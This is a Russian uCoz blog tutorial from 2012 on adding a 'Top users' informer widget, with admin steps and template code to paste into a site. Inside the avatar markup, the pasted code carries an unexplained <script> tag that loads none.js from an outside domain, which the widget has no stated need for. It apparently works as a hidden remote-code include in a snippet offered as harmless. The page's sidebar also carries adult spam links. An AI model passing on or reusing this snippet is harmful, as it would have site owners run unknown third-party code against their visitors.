26.11.2024  Вы вошли как  Гость           

Меню сайта
Категории раздела
Шаблоны для uCoz [38]
Скрипты для uCoz [231]
Иконки для uCoz [0]
Шапки для uCoz [0]
Прочее [0]
Фотообои
Радио Moswar
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2012 » Октябрь » 11 » Красивый информер "Топ пользователей" для ucoz
18:58
Красивый информер "Топ пользователей" для ucoz

Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code
</div></div></div>  
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
<img src="http://ili.pp.ua/img/no.png" id="topusers">
<?endif?></a>  

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">  
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

<?if(len($USERNAME$)>11)?>
<?substr($USERNAME$,0,11)?>
<?else?>
$USERNAME$
<?endif?>
</a>  
</span>
</div>  
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>


Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Code
$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">


$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил
Категория: Скрипты для uCoz | Просмотров: 374 | Добавил: Aninew | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Форма входа
Вторник
26.11.2024
16:41


Вы вошли как: Гость
Группа: Гости
Пол:
Вы на сайте: дней
Вы пользователь №: 0
ЛС:
Ваш IP: : 18.119.122.140
[ Управление профилем ]
Интимное фото

Интим фото

и видео

для всех

ah.moy.su

Block title

Смотреть

весь сериал

H2O


...
[15.09.2011][Программы]
Safari 5.1 rus (0)
[14.09.2011][Программы]
Иллюстрированный самоучитель по созданию Flash-игр (3)
[10.09.2011][Мультимедиа]
Radiotracker Platinum 6.2.9900.0 Rus (1)
[10.09.2011][Мультимедиа]
ProgDVB 6.45.1 Final(x32/x64) Rus (4)
[10.09.2011][Мультимедиа]
Radiocent 2.1.2 Final (1)
Новое на форуме
  • SPS-TV (0)
  • Голос Сумгаита (0)
  • TVTOUR.TV (ТВТУР.ТВ) (0)
  • О2ТВ (0)
  • PREMIERE.TV (ПРЕМЬЕРА.ТВ) (0)
  • Полезное
    Добавить сайт в поисковики

    Информер

    Copyright MyCorp © 2024

    Используются технологии uCoz